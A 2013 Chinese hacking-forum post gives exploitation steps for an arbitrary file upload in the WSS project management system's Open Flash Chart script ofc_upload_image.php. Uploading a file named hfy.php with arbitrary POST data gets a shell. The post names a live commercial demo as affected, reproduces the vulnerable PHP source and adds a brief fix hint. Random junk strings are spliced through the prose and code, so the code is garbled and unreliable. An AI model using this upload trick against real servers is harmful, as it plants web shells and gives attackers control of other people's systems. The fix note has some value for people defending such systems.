找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2505|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
$ R0 p" b6 `: Z4 s 漏洞文件/chart/php-ofc-library/ofc_upload_image.php8 E+ Q" M& Q9 ~' c/ X/ @! @

  l3 ^' s# s( `  h4 i5 V3 ]利用:/ V' I5 M1 e9 T1 }0 U
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名. I$ @; o1 K' M0 ^5 F$ S

7 {  t7 x9 g: _6 |# QPost任意数据, ?2 D& i. a& [9 I- s6 `3 R! G
保存位置http://localhost/chart/tmp-upload-images/hfy.php& h6 M- z/ E) a
# C0 I/ W- ~" Q; y9 L& z) S

  ^, W4 e$ e  G1 L最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
9 H' E& e3 {" C1 E2 {4 K, f5 A0 ?. P9 l0 ?8 E/ r3 C
<?php
9 A* P% I4 T# C% ]# p) L& l- W
+ j: i8 x2 M5 L& V: s. E' F. g//  V2 T  E1 r; \) u" n
// In Open Flash Chart -> save_image debug mode, you
0 C9 F$ T$ K* {' ~& J+ x// will see the 'echo' text in a new window., }; _) C0 U& P' `
//
" S& Q( d  [! T& R/ `( y5 F; ~( u  ^9 j, f' k+ s
/*
% X, ?8 l+ u: T3 B  z4 ~+ F+ h+ Z0 E/ h' V7 N% I2 H( c
print_r( $_GET );
1 |$ N. f" x9 h2 x/ gprint_r( $_POST );
" v9 m/ f1 [; U6 C7 Cprint_r( $_FILES );' u( m1 k, I1 i* ?: V* X
0 k) g! B" s9 Q( U  p+ \- j
print_r( $GLOBALS );
9 Y+ Q' v# Z3 L8 w6 E, X) A, G* M7 Eprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );" }) M) D2 E' P# s) I) ^
( v$ y0 R2 k6 `/ ]0 i( T
*/9 Z; _9 k5 B! v: |( y2 D
// default path for the image to be stored //
4 Q; n3 Y3 C8 P: u. `6 w$default_path = '../tmp-upload-images/';  t: u+ E# ^* N$ R. x9 G0 ]( Y
  `& K" F! d: {5 c
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
' k/ l9 o) P' h* u
; N( i, M* Z6 U2 ~  j// full path to the saved image including filename /// C9 \2 K% q1 E+ z  J6 {# x# G) Q
$destination = $default_path . basename( $_GET[ 'name' ] ); ' v3 ~( p2 X0 }6 W& X. W% Y) H  l
4 J- X; s- D' c  E' P$ U  B
echo 'Saving your image to: '. $destination;5 k- n: o3 w! C' ~5 t. Y" S! m
// print_r( $_POST );( D5 t6 |- v9 p$ D/ B, B
// print_r( $_SERVER );
% i- P- F, [5 C7 Z. `, _, v/ p// echo $HTTP_RAW_POST_DATA;
# D0 P) t7 ~1 @7 J
* u, y) y/ C1 W: L! [//
2 T  ?' D$ r% Z; c' K// POST data is usually string data, but we are passing a RAW .png6 b% x2 Z6 t& L7 _  p' s
// so PHP is a bit confused and $_POST is empty. But it has saved
& V) ~+ `, H# X. J// the raw bits into $HTTP_RAW_POST_DATA
; o$ h) O1 J' L2 ?. q' S//' }/ c" a) Y; E
- N' o5 O5 M5 @
$jfh = fopen($destination, 'w') or die("can't open file");
1 J6 H$ p5 H0 |1 Z& G3 ^fwrite($jfh, $HTTP_RAW_POST_DATA);
' L. @2 m) Z3 X9 ofclose($jfh);. u& h* w% a5 c0 r$ k/ I
9 u+ l% \8 \7 }' J
//
4 H: L) b- p  a( X8 |// LOOK:
: P* a" w' t0 ~9 Z" G' f1 P$ G//
: K- ~3 E# I' A* u" c" x0 K- Gexit();! A, K6 h! `5 A: K' B
//
1 a, v9 k+ o) ]6 _  i" Q// PHP5:( O6 r0 w3 v% p' |6 W# e' z! Q' [
//! A: `# H" L: Y9 {* R

3 U( v  \, [* d1 U7 b% c9 G+ d, m
. [5 s. i; Z5 g3 L$ F: z6 A8 M// default path for the image to be stored //
* b, q: `1 R3 O- o$default_path = 'tmp-upload-images/';
+ y/ v1 S( f) d; J8 g; W3 [
  n' N' M. n7 D* z* yif (!file_exists($default_path)) mkdir($default_path, 0777, true);" G/ H% q0 r, `/ D/ d( O% j

7 D6 D" p1 @: _  s// full path to the saved image including filename //' Q7 _) R* f; Q7 T$ j9 A4 P, s8 k
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
0 I+ I' e5 J- ^* _- L6 d/ A8 X7 f- x3 f/ |% L7 M
// move the image into the specified directory //
* H+ b7 o" D' C1 w; N* ?7 rif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
: G0 w* O. A" h& u! l+ K) k    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
7 r1 \0 C& d6 _+ C; [* o2 L9 R} else {+ i, H' `& d0 j1 G. n
    echo "FILE UPLOAD FAILED";
3 o8 ^: h5 v/ l( Q! Z}
8 ^. X: O1 L2 U: O4 j9 J% y$ A
8 o5 |4 u6 x' v  X2 |) N' p$ o' n8 w6 q
?>
  n, h& ]8 o$ Q0 J) l  T% X% v+ R, O' W
, y* a  D/ t0 A2 n4 q- ]0 }9 j

, R7 F) Z! {' _! ~9 T( }
* @0 j" Y# I' n# o0 d7 A% O. g, q$ U# @" L/ O
3 K9 J. ~# V& Y% p- j
修复方案: ) ~; n0 t& {; _) _& d4 Y
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 5 I, T5 r" X; D7 x8 W+ i2 Y

* c5 K8 ?7 C9 |  K2 ~* S/ n1 C9 k2 ]8 c8 q4 L' k5 i" E+ [$ L, g  a! ]6 d
: B6 S0 Q( K; T  V

, t8 f9 \. N5 V0 |0 F& O, ^  y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表